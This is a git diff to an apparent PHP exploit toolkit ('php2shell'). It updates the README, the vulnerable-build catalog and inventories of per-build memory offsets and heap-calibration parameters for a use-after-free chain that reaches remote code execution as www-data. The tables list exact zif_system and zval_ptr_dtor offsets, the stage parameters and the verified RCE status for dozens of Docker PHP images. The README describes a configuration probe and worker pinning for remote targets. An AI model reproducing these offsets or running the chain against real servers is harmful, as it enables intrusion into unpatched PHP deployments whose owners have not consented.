diff --git a/README.md b/README.md index 4a2fe77..3346d1c 100644 --- a/README.md +++ b/README.md @@ -34,28 +34,59 @@ not match the profile. | PHP 8.5.11 aarch64 | `php:8.5.11-apache` | `php-8.5.11-bookworm-aarch64` | yes | yes | **yes** | `uid=33(www-data)` | | PHP 8.5.11 amd64 | `php:8.5.11-apache` | `php-8.5.11-bookworm-amd64` | yes | yes | **yes** | separate offsets, same `htdata` | | PHP 8.5.10 aarch64 | `php:8.5.10-apache` | `php-8.5.10-bookworm-aarch64` | yes | yes | **yes** | `uid=33(www-data)` | +| PHP 8.5.10 amd64 | `php:8.5.10-apache` | `php-8.5.10-bookworm-amd64` | yes | yes | **yes** | `uid=33(www-data)` | +| PHP 8.5.5 amd64 | `php:8.5.5-apache` | `php-8.5.5-bookworm-amd64` | yes | yes | **yes** | vessel stage 3; `uid=33(www-data)` | +| PHP 8.5.0 amd64 | `php:8.5.0-apache` | `php-8.5.0-bookworm-amd64` | yes | yes | **yes** | vessel stage 3; `uid=33(www-data)` | +| PHP 8.5.1 – 8.5.9 amd64 | `php:8.5.{1..9}-apache` | `php-8.5.-bookworm-amd64` | yes | yes | **yes** | vessel stage 3; `uid=33(www-data)` | | PHP 8.4.26 amd64 | `php:8.4.26-apache` | `php-8.4.26-bookworm-amd64` | yes | yes | **yes** | reference build | | PHP 8.4.25 aarch64 | `php:8.4.25-apache` | `php-8.4.25-bookworm-aarch64` | yes | yes | **yes** | probabilistic stage 3; retries | -| PHP 8.5.0 aarch64 | `php:8.5.0-apache` | `php-8.5.0-bookworm` | yes | yes | no | stage-3 layout not found | +| PHP 8.4.25 amd64 | `php:8.4.25-apache` | `php-8.4.25-bookworm-amd64` | yes | yes | **yes** | `uid=33(www-data)` | +| PHP 8.4.20 amd64 | `php:8.4.20-apache` | `php-8.4.20-bookworm-amd64` | yes | yes | **yes** | `uid=33(www-data)` | +| PHP 8.4.19 amd64 | `php:8.4.19-apache` | `php-8.4.19-bookworm-amd64` | yes | yes | **yes** | `uid=33(www-data)` | +| PHP 8.4.11 amd64 | `php:8.4.11-apache` | `php-8.4.11-bookworm-amd64` | yes | yes | **yes** | `uid=33(www-data)` | +| PHP 8.4.10 amd64 | `php:8.4.10-apache` | `php-8.4.10-bookworm-amd64` | yes | yes | **yes** | `uid=33(www-data)` | +| PHP 8.4.13, 8.4.8 amd64 | `php:8.4.{8,13}-apache` | `php-8.4.-bookworm-amd64` | yes | yes | no | stage-3 sweep attempts exhausted | +| PHP 8.4.14 – 8.4.18, 8.4.12, 8.4.7, 8.4.6 amd64 | `php:8.4.-apache` | `php-8.4.-bookworm-amd64` | yes | pending | no | stage-2 leak needs re-run (cookie decode fix) | +| PHP 8.5.0 aarch64 | `php:8.5.0-apache` | `php-8.5.0-bookworm` | yes | yes | no | lab build; stage-3 layout not found | +| PHP 8.3.35 amd64 | `php:8.3.35-apache` | `php-8.3.35-bookworm-amd64` | yes | yes | no | stage-3 reference alive; vessel geometry does not fit this heap | | PHP 8.3.35 aarch64 | `php:8.3.35-apache` | `php-8.3.35-bookworm-aarch64` | yes | yes | no | stage-3 reference alive | | PHP 8.3.33 mod_php | `wordpress:7.1.1-apache` | `php-8.3.33-wordpress-mod_php` | yes | yes | no | stage-3 reference alive | +| PHP 8.4.5 amd64 | `php:8.4.5-apache` | `php-8.4.5-bookworm-amd64` | yes | no | no | stale block at v0892; no libphp pointer | +| PHP 8.3.20 amd64 | `php:8.3.20-apache` | `php-8.3.20-bookworm-amd64` | yes | no | no | stale block at v0892; no libphp pointer | +| PHP 8.4.2 amd64 | `php:8.4.2-apache` | `php-8.4.2-bookworm-amd64` | no | no | no | UAF; leak shape differs | | PHP 8.3.0 aarch64 | `php:8.3.0-apache` | `php-8.3.0-bookworm` | no | no | no | `PS(id)` dangling; cookie not reclaimed | +| PHP 8.2.34 amd64 | `php:8.2.34-apache` | `php-8.2.34-bookworm-amd64` | no | no | no | UAF; leak shape differs | | PHP 8.2.34 aarch64 | `php:8.2.34-apache` | `php-8.2.34-bookworm-aarch64` | no | no | no | UAF; leak shape differs | -| PHP 8.1.34 aarch64 | `php:8.1-apache` | `php-8.1.34-bookworm-aarch64` | no | no | no | UAF; leak shape differs | +| PHP 8.2.28 amd64 | `php:8.2.28-apache` | `php-8.2.28-bookworm-amd64` | no | no | no | UAF; leak shape differs | +| PHP 8.1.34 amd64 | `php:8.1-apache` (bullseye) | `php-8.1.34-bullseye-amd64` | no | no | no | UAF; leak shape differs; EOL branch | +| PHP 8.1.34 aarch64 | `php:8.1-apache` | `php-8.1.34-bookworm-aarch64` | no | no | no | UAF; leak shape differs; EOL branch | | PHP 8.0.30 aarch64 | `php:8.0-apache` | `php-8.0.30-bookworm-aarch64` | no | no | no | UAF; leak shape differs | +| PHP 7.4.33 amd64 | `php:7.4-apache` (buster) | `php-7.4.33-buster-amd64` | no | no | no | UAF; leak shape differs; EOL branch | | PHP 7.4.33 aarch64 | `php:7.4-apache` | `php-7.4.33-bookworm-aarch64` | no | no | no | UAF; leak shape differs | | PHP 8.2.0 aarch64 | `php:8.2.0-apache` | — (offsets only) | n/a | n/a | no | no heap profile | +| PHP 8.0.30 amd64 | `php:8.0-apache` | — (offsets only) | n/a | n/a | no | no heap profile | -**13 heap profiles, 5 with verified RCE. Offsets extracted for 12 builds.** +**47 heap profiles, 21 with verified RCE. Offsets extracted for 48 image/arch +rows covering 39 distinct PHP builds.** `Heap leak` is stage 1, `libphp leak` is stage 2 and `RCE` is a real command proof on an isolated lab. `no` means not verified, not necessarily impossible; -`n/a` means no heap profile exists for that build. The 8.2.0 row is an -offsets-only entry. All `yes` rows use the lab configuration: Apache prefork -`mod_php`, one worker, `display_errors=On`, `memory_limit=8M` and -`session.upload_progress=On`. Per-image offsets and `libphp` sha256 are in -[the offset inventory](docs/offset-inventory.md). The 8.4.25 profile needs the -default retries because its stage 3 is probabilistic. +`pending` means the sweep predates the cookie `'+'` decoding fix and the leak +stage must be re-run; `n/a` means no heap profile exists for that build. The +8.2.0 and 8.0.30-amd64 rows are offsets-only entries. All `yes` rows use the +lab configuration: Apache prefork `mod_php`, one worker, `display_errors=On`, +`memory_limit=8M` and `session.upload_progress=On`. Per-image offsets and +`libphp` sha256 are in [the offset inventory](docs/offset-inventory.md). The +8.4.25 (aarch64) profile needs the default retries because its stage 3 is +probabilistic. The 8.5.0 – 8.5.9 rows use the **vessel stage 3** +(`tools/php2shell_vessel.py`, documented in +[the profile inventory](docs/profile-inventory.md)): the early-8.5 heap puts +the dangling reference out of the upstream carrier's reach, so request S +steers it one page up onto B2's blob page and a blob embeds the reference +pattern itself. The 8.1/8.2/7.4 and 8.4.2 rows are the real-world "older +subversion" builds: on those the stage-1 UAF shapes the heap differently and +the leak does not reproduce with the 8.4.10+ parameters — an honest negative, +reported as such. ## Features @@ -64,8 +95,11 @@ default retries because its stage 3 is probabilistic. parameters explicitly. `--php-version` covers servers that hide their version; `--arch` selects aarch64 or amd64 (auto-detected for local containers, required for remote targets), and `--profile` forces an exact build. -- **Memory-limit probe** — one request reveals the target `memory_limit` from - the fatal message; the chain then runs once instead of sweeping every value. +- **Configuration probe** — one request reveals the target `memory_limit`, + `post_max_size` and whether request-startup diagnostics render + (`display_errors`). The chain then runs once instead of sweeping every + memory limit, and a `post_max_size` that would silently reject the OOM body + is reported as `CONFIG BLOCKED` before any exploit attempt. - **Worker pinning** — keeps N-1 prefork workers busy with idle keep-alive connections so the whole chain lands on one process. Automatic for loopback laboratories; opt-in for remote infrastructure. @@ -117,8 +151,9 @@ Expected shape: 00:00.00 DISCOVER http://127.0.0.1:8105/index.php 00:00.01 OK PHP 8.4.26 · Apache/2.4.69 (Debian) 00:00.01 PREFLIGHT php-8.4.26-bookworm-amd64 -00:00.15 PROBE memory_limit probe: 16 MiB body +00:00.15 PROBE config probe: 16 MiB body 00:00.16 OK detected memory_limit=8M +00:00.16 OK display_errors=On (request-startup diagnostics are rendered) 00:00.17 EXECUTE memory_limit=8M · huge_mb=12 │ [+] chunk base = 0x7ffffc400000 │ [+] libphp base = 0x7ffffe013000 @@ -187,13 +222,19 @@ The shipped calibration targets: - Apache prefork + `mod_php` with **one worker**; - `display_errors=On`, `memory_limit=8M`, `max_input_vars=1000`; +- **`post_max_size` ≥ `memory_limit` + 12M** (the labs ship 512M): stage 1 + posts a body of `memory_limit` + 12M, and PHP rejects a body larger than + `post_max_size` *before* parsing it — no OOM, no leak, no error. The stock + default `post_max_size=8M` blocks the whole chain on its own; - `session.upload_progress.enabled=On`, `session.use_cookies=1`, `session.use_strict_mode=0`. A hardened production PHP (128M+, `display_errors=Off`, multiple workers, FPM) does not match the shipped calibration. Multi-worker targets are handled with `--pin-workers`; `display_errors=Off` and FPM remain open research items (see -Limitations). +Limitations). The dispatcher reports a blocking `post_max_size` as +`CONFIG BLOCKED` and skips memory-limit candidates whose OOM body the target +would reject. ## Multi-worker targets @@ -380,7 +421,7 @@ OOM, which is why the 8.4/8.5 stage-3 carrier does not transfer. configuration. - **`expose_php=Off` changes stage 3.** Hiding `X-Powered-By` shifts the startup heap; the known stage-3 pads do not fit and a dedicated calibration is needed. -- **8.5.0 / 8.3.0** have leaks or UAF preconditions but no verified stage 3. +- **8.3.0** has UAF preconditions but no verified stage 3. - **8.4.25** is probabilistic; use the default retries. - **Remote proof is not guaranteed.** `id>p1` only works if the webroot is writable and the file is served at `/p1`. diff --git a/catalog/vulnerable.json b/catalog/vulnerable.json index a57e399..86470d7 100644 --- a/catalog/vulnerable.json +++ b/catalog/vulnerable.json @@ -1,6 +1,6 @@ { "source": "ANALISIS_PHP2SHELL.md, section 2 (fixed releases) and section 1 (CVEs)", - "updated": "2026-10-21", + "updated": "2026-10-23", "branches": [ { "branch": "5.4", @@ -98,39 +98,195 @@ } ], "profiles": { - "8.4.26": { - "file": "profiles/8.4.26-bookworm.json", - "build": "php:8.4.26-apache (Debian bookworm, mod_php, prefork)", - "rce": true, - "verified": true + "7.4.33/aarch64": { + "file": "profiles/7.4.33-bookworm-aarch64.json", + "build": "7.4.33 bookworm aarch64", + "rce": false, + "verified": false, + "note": "offsets extracted; stage-1 leak not reproduced" + }, + "7.4.33/amd64": { + "file": "profiles/7.4.33-buster-amd64.json", + "build": "7.4.33 buster amd64", + "rce": false, + "verified": false, + "note": "offsets extracted; stage-1 leak not reproduced" + }, + "8.0.30/aarch64": { + "file": "profiles/8.0.30-bookworm-aarch64.json", + "build": "8.0.30 bookworm aarch64", + "rce": false, + "verified": false, + "note": "offsets extracted; stage-1 leak not reproduced" + }, + "8.1.34/aarch64": { + "file": "profiles/8.1.34-bookworm-aarch64.json", + "build": "8.1.34 bookworm aarch64", + "rce": false, + "verified": false, + "note": "offsets extracted; stage-1 leak not reproduced" + }, + "8.1.34/amd64": { + "file": "profiles/8.1.34-bullseye-amd64.json", + "build": "8.1.34 bullseye amd64", + "rce": false, + "verified": false, + "note": "offsets extracted; stage-1 leak not reproduced" + }, + "8.2.28/amd64": { + "file": "profiles/8.2.28-bookworm-amd64.json", + "build": "8.2.28 bookworm amd64", + "rce": false, + "verified": false, + "note": "offsets extracted; stage-1 leak not reproduced" + }, + "8.2.34/aarch64": { + "file": "profiles/8.2.34-bookworm-aarch64.json", + "build": "8.2.34 bookworm aarch64", + "rce": false, + "verified": false, + "note": "offsets extracted; stage-1 leak not reproduced" }, - "8.3.33": { + "8.2.34/amd64": { + "file": "profiles/8.2.34-bookworm-amd64.json", + "build": "8.2.34 bookworm amd64", + "rce": false, + "verified": false, + "note": "offsets extracted; stage-1 leak not reproduced" + }, + "8.3.0/lab": { + "file": "profiles/8.3.0-bookworm.json", + "build": "8.3.0 bookworm", + "rce": false, + "verified": false, + "note": "lab build (Dockerfile), not the official image" + }, + "8.3.20/amd64": { + "file": "profiles/8.3.20-bookworm-amd64.json", + "build": "8.3.20 bookworm amd64", + "rce": false, + "verified": false, + "note": "stage-1 leak only; stage-2 sweep found no libphp pointer" + }, + "8.3.33/lab": { "file": "profiles/8.3.33-wordpress.json", - "build": "wordpress:7.1.1-apache (PHP 8.3.33, mod_php, prefork)", + "build": "8.3.33 wordpress", "rce": false, "verified": false, - "note": "stages 1-2 leaked; stage 3 not calibrated" + "note": "wordpress:7.1.1-apache, not the php image" }, - "8.5.11": { - "file": "profiles/8.5.11-bookworm-aarch64.json", - "build": "php:8.5.11-apache (bookworm, mod_php, prefork)", + "8.3.35/aarch64": { + "file": "profiles/8.3.35-bookworm-aarch64.json", + "build": "8.3.35 bookworm aarch64", + "rce": false, + "verified": false, + "note": "stage-1 and stage-2 leaks reproduce; stage-3 layout not found" + }, + "8.3.35/amd64": { + "file": "profiles/8.3.35-bookworm-amd64.json", + "build": "8.3.35 bookworm amd64", + "rce": false, + "verified": false, + "note": "stage-1 and stage-2 leaks reproduce; stage-3 layout not found" + }, + "8.4.10/amd64": { + "file": "profiles/8.4.10-bookworm-amd64.json", + "build": "8.4.10 bookworm amd64", "rce": true, - "verified": true + "verified": true, + "note": "full chain reproduced (command proof)" }, - "8.3.35": { - "file": "profiles/8.3.35-bookworm-aarch64.json", - "build": "php:8.3.35-apache (bookworm, mod_php, prefork)", + "8.4.2/amd64": { + "file": "profiles/8.4.2-bookworm-amd64.json", + "build": "8.4.2 bookworm amd64", "rce": false, "verified": false, - "note": "stages 1-2 leaked; stage 3 not calibrated" + "note": "offsets extracted; stage-1 leak not reproduced" }, - "8.2.34": { - "file": "profiles/8.2.34-bookworm-aarch64.json", - "build": "php:8.2.34-apache (bookworm, mod_php, prefork)", + "8.4.20/amd64": { + "file": "profiles/8.4.20-bookworm-amd64.json", + "build": "8.4.20 bookworm amd64", + "rce": true, + "verified": true, + "note": "full chain reproduced (command proof)" + }, + "8.4.25/aarch64": { + "file": "profiles/8.4.25-bookworm-aarch64.json", + "build": "8.4.25 bookworm aarch64", + "rce": true, + "verified": true, + "note": "full chain reproduced (command proof)" + }, + "8.4.25/amd64": { + "file": "profiles/8.4.25-bookworm-amd64.json", + "build": "8.4.25 bookworm amd64", + "rce": true, + "verified": true, + "note": "full chain reproduced (command proof)" + }, + "8.4.26/amd64": { + "file": "profiles/8.4.26-bookworm-amd64.json", + "build": "8.4.26 bookworm amd64", + "rce": true, + "verified": true, + "note": "full chain reproduced (command proof)" + }, + "8.4.5/amd64": { + "file": "profiles/8.4.5-bookworm-amd64.json", + "build": "8.4.5 bookworm amd64", + "rce": false, + "verified": false, + "note": "stage-1 leak only; stage-2 sweep found no libphp pointer" + }, + "8.5.0/amd64": { + "file": "profiles/8.5.0-bookworm-amd64.json", + "build": "8.5.0 bookworm amd64", + "rce": false, + "verified": false, + "note": "stage-1 and stage-2 leaks reproduce; stage-3 layout not found" + }, + "8.5.0/lab": { + "file": "profiles/8.5.0-bookworm.json", + "build": "8.5.0 bookworm", + "rce": false, + "verified": false, + "note": "lab build (Dockerfile), not the official image" + }, + "8.5.10/aarch64": { + "file": "profiles/8.5.10-bookworm-aarch64.json", + "build": "8.5.10 bookworm aarch64", + "rce": true, + "verified": true, + "note": "full chain reproduced (command proof)" + }, + "8.5.10/amd64": { + "file": "profiles/8.5.10-bookworm-amd64.json", + "build": "8.5.10 bookworm amd64", + "rce": true, + "verified": true, + "note": "full chain reproduced (command proof)" + }, + "8.5.11/aarch64": { + "file": "profiles/8.5.11-bookworm-aarch64.json", + "build": "8.5.11 bookworm aarch64", + "rce": true, + "verified": true, + "note": "full chain reproduced (command proof)" + }, + "8.5.11/amd64": { + "file": "profiles/8.5.11-bookworm-amd64.json", + "build": "8.5.11 bookworm amd64", + "rce": true, + "verified": true, + "note": "full chain reproduced (command proof)" + }, + "8.5.5/amd64": { + "file": "profiles/8.5.5-bookworm-amd64.json", + "build": "8.5.5 bookworm amd64", "rce": false, "verified": false, - "note": "offsets extracted; heap leak not reproduced" + "note": "stage-1 and stage-2 leaks reproduce; stage-3 layout not found" } }, - "coverage_note": "A version listed in a vulnerable branch is exposed, but it is exploitable only when a verified profile exists for that exact build. Vendor backports cannot be inferred from the version string." -} \ No newline at end of file + "coverage_note": "A version listed in a vulnerable branch is exposed, but it is exploitable only when a verified profile exists for that exact build. Offsets alone (docs/offset-inventory.md) do not make a build exploitable. Vendor backports cannot be inferred from the version string." +} diff --git a/docs/calibration-logs/matrix_report.json b/docs/calibration-logs/matrix_report.json index ef77bb5..a726bbc 100644 --- a/docs/calibration-logs/matrix_report.json +++ b/docs/calibration-logs/matrix_report.json @@ -1,14 +1,8 @@ [ { - "label": "8.4.25-bookworm-aarch64", + "label": "8.4.8-bookworm-amd64", "status": "leaks-only", "rce": false, - "profile": "/Users/dpua/Downloads/php-vuln/profiles/8.4.25-bookworm-aarch64.json" - }, - { - "label": "8.5.10-bookworm-aarch64", - "status": "rce", - "rce": true, - "profile": "/Users/dpua/Downloads/php-vuln/profiles/8.5.10-bookworm-aarch64.json" + "profile": "profiles/8.4.8-bookworm-amd64.json" } ] \ No newline at end of file diff --git a/docs/offset-inventory.md b/docs/offset-inventory.md index b588065..b3b1c5d 100644 --- a/docs/offset-inventory.md +++ b/docs/offset-inventory.md @@ -5,18 +5,54 @@ a build still needs heap calibration before the chain can run. | Image | PHP | Arch | `zif_system` | `zval_ptr_dtor` | libphp sha256 | Status | | --- | --- | --- | --- | --- | --- | --- | -| php:7.4-apache | 7.4.33 | aarch64 | 0x309640 | 0x3f6024 | 4cb16c7db838 | offsets extracted; heap not calibrated | -| php:8.0-apache | 8.0.30 | aarch64 | 0x31ef70 | 0x40ddb0 | 35d769430309 | offsets extracted; heap not calibrated | -| php:8.1-apache | 8.1.34 | aarch64 | 0x341e08 | 0x42e7a0 | f7640ea4ad0a | offsets extracted; heap not calibrated | +| php:7.4-apache | 7.4.33 | aarch64 | 0x309640 | 0x3f6024 | 4cb16c7db838 | heap calibrated; leak not reproduced | +| php:7.4-apache | 7.4.33 | amd64 | 0x335850 | 0x417d60 | 5692da4ee4ab | heap calibrated; leak not reproduced | +| php:8.0-apache | 8.0.30 | aarch64 | 0x31ef70 | 0x40ddb0 | 35d769430309 | heap calibrated; leak not reproduced | +| php:8.0-apache | 8.0.30 | amd64 | 0x3495d0 | 0x4319a0 | 0f2d31b76eb1 | offsets extracted; heap not calibrated | +| php:8.1-apache | 8.1.34 | aarch64 | 0x341e08 | 0x42e7a0 | f7640ea4ad0a | heap calibrated; leak not reproduced | +| php:8.1-apache | 8.1.34 | amd64 | 0x36f470 | 0x457150 | d92ab65c24d3 | heap calibrated; leak not reproduced | | php:8.2.0-apache | 8.2.0 | aarch64 | 0x364f30 | 0x4520c0 | 322c858efd29 | offsets extracted; heap not calibrated | -| php:8.2.34-apache | 8.2.34 | aarch64 | 0x36ff48 | 0x4606c0 | db406c7f48eb | offsets extracted; heap not calibrated | +| php:8.2.28-apache | 8.2.28 | amd64 | 0x3928b0 | 0x47b630 | b9d2697c2be2 | heap calibrated; leak not reproduced | +| php:8.2.34-apache | 8.2.34 | amd64 | 0x39b8a0 | 0x487650 | 42ae9f69550e | heap calibrated; leak not reproduced | +| php:8.2.34-apache | 8.2.34 | aarch64 | 0x36ff48 | 0x4606c0 | db406c7f48eb | heap calibrated; leak not reproduced | | php:8.3.0-apache | 8.3.0 | aarch64 | 0x3771f0 | 0x467cf0 | c1b72099fc8c | offsets extracted; heap not calibrated | -| php:8.3.35-apache | 8.3.35 | aarch64 | 0x377428 | 0x46fcc0 | 1f2bc20742e6 | offsets extracted; heap not calibrated | -| php:8.4.25-apache | 8.4.25 | aarch64 | 0x42fa30 | 0x637ae0 | 2d2388a4b0af | offsets extracted; heap not calibrated | -| php:8.4.26-apache | 8.4.26 | amd64 | 0x465370 | 0x65eb60 | 51663cf883b1 | offsets extracted; heap not calibrated | +| php:8.3.20-apache | 8.3.20 | amd64 | 0x3a21d0 | 0x491bd0 | 2604b7aaee26 | heap calibrated; stage-1 leak only | +| php:8.3.35-apache | 8.3.35 | aarch64 | 0x377428 | 0x46fcc0 | 1f2bc20742e6 | heap calibrated; leaks only | +| php:8.3.35-apache | 8.3.35 | amd64 | 0x3ac080 | 0x49ec50 | ea069762fa22 | heap calibrated; leaks only | +| php:8.4.2-apache | 8.4.2 | amd64 | 0x4398b0 | 0x628ea0 | 40d65d5f25ce | heap calibrated; leak not reproduced | +| php:8.4.5-apache | 8.4.5 | amd64 | 0x43b660 | 0x62c420 | 8265285f9025 | heap calibrated; stage-1 leak only | +| php:8.4.6-apache | 8.4.6 | amd64 | 0x43b940 | 0x62ca40 | 77a71f443d52 | heap calibrated; stage-1 leak only | +| php:8.4.7-apache | 8.4.7 | amd64 | 0x43b920 | 0x62cd60 | f7f4da8f78fd | heap calibrated; stage-1 leak only | +| php:8.4.8-apache | 8.4.8 | amd64 | 0x43b940 | 0x62cd10 | d8d7da3c6aca | heap calibrated; leaks only | +| php:8.4.10-apache | 8.4.10 | amd64 | 0x43b7d0 | 0x62cf70 | a6b5a2e606b3 | heap calibrated; RCE verified | +| php:8.4.11-apache | 8.4.11 | amd64 | 0x446cb0 | 0x63d2e0 | fe10341d35be | heap calibrated; RCE verified | +| php:8.4.12-apache | 8.4.12 | amd64 | 0x446cf0 | 0x63dc20 | e6624242a76d | heap calibrated; stage-1 leak only | +| php:8.4.13-apache | 8.4.13 | amd64 | 0x445bf0 | 0x63cbe0 | f736a943df70 | heap calibrated; leaks only | +| php:8.4.14-apache | 8.4.14 | amd64 | 0x445c30 | 0x63d020 | 8a0e20af698c | heap calibrated; stage-1 leak only | +| php:8.4.15-apache | 8.4.15 | amd64 | 0x445f70 | 0x63d420 | 6a36c3e76d62 | heap calibrated; stage-1 leak only | +| php:8.4.16-apache | 8.4.16 | amd64 | 0x446930 | 0x63de20 | d8b25ea74955 | heap calibrated; stage-1 leak only | +| php:8.4.17-apache | 8.4.17 | amd64 | 0x446cb0 | 0x63e520 | 557ac34f8abe | heap calibrated; stage-1 leak only | +| php:8.4.18-apache | 8.4.18 | amd64 | 0x446ff0 | 0x63eb20 | b8b22ade4741 | heap calibrated; stage-1 leak only | +| php:8.4.19-apache | 8.4.19 | amd64 | 0x4472f0 | 0x63efe0 | f56ef68faa09 | heap calibrated; RCE verified | +| php:8.4.20-apache | 8.4.20 | amd64 | 0x447530 | 0x63f9e0 | 9324d5274788 | heap calibrated; RCE verified | +| php:8.4.25-apache | 8.4.25 | aarch64 | 0x42fa30 | 0x637ae0 | 2d2388a4b0af | heap calibrated; RCE verified | +| php:8.4.25-apache | 8.4.25 | amd64 | 0x464c70 | 0x65dc60 | a70977eb3ed3 | heap calibrated; RCE verified | +| php:8.4.26-apache | 8.4.26 | amd64 | 0x465370 | 0x65eb60 | 51663cf883b1 | heap calibrated; RCE verified | +| php:8.5.0-apache | 8.5.0 | amd64 | 0x56a420 | 0x781fe0 | 4fa99c0490a0 | heap calibrated; RCE verified | | php:8.5.0-apache | 8.5.0 | aarch64 | 0x503510 | 0x731d80 | 5910f3f12fbd | offsets extracted; heap not calibrated | -| php:8.5.10-apache | 8.5.10 | aarch64 | 0x52e130 | 0x75d360 | 5f080d44d3f8 | offsets extracted; heap not calibrated | -| php:8.5.11-apache | 8.5.11 | aarch64 | 0x5314f0 | 0x761b80 | 64a617aeb392 | offsets extracted; heap not calibrated | +| php:8.5.1-apache | 8.5.1 | amd64 | 0x56a9a0 | 0x7826a0 | 17ab01d2e00c | heap calibrated; RCE verified | +| php:8.5.2-apache | 8.5.2 | amd64 | 0x56bca0 | 0x783de0 | 592c925143d1 | heap calibrated; RCE verified | +| php:8.5.3-apache | 8.5.3 | amd64 | 0x56d1e0 | 0x785620 | e250fa12dd83 | heap calibrated; RCE verified | +| php:8.5.4-apache | 8.5.4 | amd64 | 0x5705e0 | 0x788ba0 | e9408fda9ee9 | heap calibrated; RCE verified | +| php:8.5.5-apache | 8.5.5 | amd64 | 0x570de0 | 0x789ae0 | 5c6f6a0e1c43 | heap calibrated; RCE verified | +| php:8.5.6-apache | 8.5.6 | amd64 | 0x595160 | 0x7ae6e0 | 8f430f9feb06 | heap calibrated; RCE verified | +| php:8.5.7-apache | 8.5.7 | amd64 | 0x5960e0 | 0x7b0460 | 641b7f6241cf | heap calibrated; RCE verified | +| php:8.5.8-apache | 8.5.8 | amd64 | 0x596620 | 0x7b0d60 | 5b458d2bb61f | heap calibrated; RCE verified | +| php:8.5.9-apache | 8.5.9 | amd64 | 0x598160 | 0x7b29a0 | 4f7ae4a32849 | heap calibrated; RCE verified | +| php:8.5.10-apache | 8.5.10 | amd64 | 0x598d60 | 0x7b3860 | 949ee4ed17c7 | heap calibrated; RCE verified | +| php:8.5.10-apache | 8.5.10 | aarch64 | 0x52e130 | 0x75d360 | 5f080d44d3f8 | heap calibrated; RCE verified | +| php:8.5.11-apache | 8.5.11 | aarch64 | 0x5314f0 | 0x761b80 | 64a617aeb392 | heap calibrated; RCE verified | +| php:8.5.11-apache | 8.5.11 | amd64 | 0x5996e0 | 0x7b47a0 | 2c80ca2a245c | heap calibrated; RCE verified | ## Notes diff --git a/docs/profile-inventory.md b/docs/profile-inventory.md index 49e2813..98a553f 100644 --- a/docs/profile-inventory.md +++ b/docs/profile-inventory.md @@ -2,72 +2,161 @@ Generated from `profiles/*.json` by `tools/php2shell_inventory.py`. -| PHP | Build | `zif_system` | `zval_ptr_dtor` | `htdata` | stage1_n | forge | stage2_t | RCE | -| --- | --- | --- | --- | --- | --- | --- | --- | --- | -| 7.4.33 | php-7.4.33-bookworm-aarch64 | 0x309640 | 0x3f6024 | - | - | - | - | no | -| 8.0.30 | php-8.0.30-bookworm-aarch64 | 0x31ef70 | 0x40ddb0 | - | - | - | - | no | -| 8.1.34 | php-8.1.34-bookworm-aarch64 | 0x341e08 | 0x42e7a0 | - | - | - | - | no | -| 8.2.34 | php-8.2.34-bookworm-aarch64 | 0x36ff48 | 0x4606c0 | - | 0 | 0 | 406 | no | -| 8.3.33 | php-8.3.33-wordpress-mod_php | 0x377248 | 0x4737e0 | - | 815 | 63 | 406 | no | -| 8.3.35 | php-8.3.35-bookworm-aarch64 | 0x377428 | 0x46fcc0 | - | 841 | 63 | 406 | no | -| 8.4.25 | php-8.4.25-bookworm-aarch64 | 0x42fa30 | 0x637ae0 | 0x690d8 | 841 | 63 | 406 | yes | -| 8.4.26 | php-8.4.26-bookworm-amd64 | 0x465370 | 0x65eb60 | 0x690d8 | 841 | 79 | 406 | yes | -| 8.5.10 | php-8.5.10-bookworm-aarch64 | 0x52e130 | 0x75d360 | 0x690d8 | 841 | 63 | 406 | yes | -| 8.5.11 | php-8.5.11-bookworm-amd64 | 0x5996e0 | 0x7b47a0 | 0x690d8 | 841 | 63 | 406 | yes | -| 8.5.11 | php-8.5.11-bookworm-aarch64 | 0x5314f0 | 0x761b80 | 0x690d8 | 841 | 63 | 406 | yes | - -## Per-build notes - -### PHP 8.5.11 — RCE verified - -`php:8.5.11-apache`, bookworm, mod_php prefork, one worker, `display_errors=On`, -`memory_limit=8M`. The factory reproduced the full chain: - -```text -[*] stage1 probe: stale block taken by v0841 - N=841 len=63 -> cookie=4096 chunk=0xffff8f000000 -[*] stage2 T=406 -> libphp=0xffff8bc00000 -[+] stage3 0x690d8/bookworm: uid=33(www-data) ... -[*] rce=True -``` - -This is the 8.5 branch, fixed in 8.5.12. - -### PHP 8.4.26 — RCE verified - -`php:8.4.26-apache`, bookworm. Verified 3/3 manually and through the factory. -Fixed in 8.4.27. This is the profile used against the local 8.4.26 laboratory. - -### PHP 8.3.35 — leaks only - -`php:8.3.35-apache`. Stage 1 (heap base) and stage 2 (libphp base) reproduce; -stage 3 does not place the fake reference. `rce=false`. Fixed in 8.3.36. - -### PHP 8.3.33 — leaks only - -`wordpress:7.1.1-apache` (PHP 8.3.33, mod_php). Stages 1-2 reproduced; stage 3 -not calibrated. Fixed in 8.3.36. - -### PHP 8.2.34 — calibration failed - -`php:8.2.34-apache`. The libphp offsets were extracted -(0x36ff48 / 0x4606c0), but the 8.4/8.5 upload-progress leak shape did not -reproduce: the stage-1 probe did not reveal the stale-block index and stage 2 -found no libphp pointer. `rce=false`, no heap parameters. +| PHP | Build | zif_system | zval_ptr_dtor | htdata | stage1_n | forge | stage2_t | stage3 | RCE | +| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | +| 7.4.33 | php-7.4.33-bookworm-aarch64 | 0x309640 | 0x3f6024 | - | - | - | - | - | no | +| 7.4.33 | php-7.4.33-buster-amd64 | 0x335850 | 0x417d60 | - | 0 | 0 | 406 | - | no | +| 8.0.30 | php-8.0.30-bookworm-aarch64 | 0x31ef70 | 0x40ddb0 | - | - | - | - | - | no | +| 8.1.34 | php-8.1.34-bookworm-aarch64 | 0x341e08 | 0x42e7a0 | - | - | - | - | - | no | +| 8.1.34 | php-8.1.34-bullseye-amd64 | 0x36f470 | 0x457150 | - | 0 | 0 | 406 | - | no | +| 8.2.28 | php-8.2.28-bookworm-amd64 | 0x3928b0 | 0x47b630 | - | 0 | 0 | 406 | - | no | +| 8.2.34 | php-8.2.34-bookworm-aarch64 | 0x36ff48 | 0x4606c0 | - | 0 | 0 | 406 | - | no | +| 8.2.34 | php-8.2.34-bookworm-amd64 | 0x39b8a0 | 0x487650 | - | 0 | 0 | 406 | - | no | +| 8.3.0 | php-8.3.0-bookworm | 0x3771f0 | 0x467cf0 | - | 0 | 0 | 406 | - | no | +| 8.3.20 | php-8.3.20-bookworm-amd64 | 0x3a21d0 | 0x491bd0 | - | 892 | 63 | - | - | no | +| 8.3.33 | php-8.3.33-wordpress-mod_php | 0x377248 | 0x4737e0 | - | 815 | 63 | 406 | - | no | +| 8.3.35 | php-8.3.35-bookworm-aarch64 | 0x377428 | 0x46fcc0 | - | 841 | 63 | 406 | - | no | +| 8.3.35 | 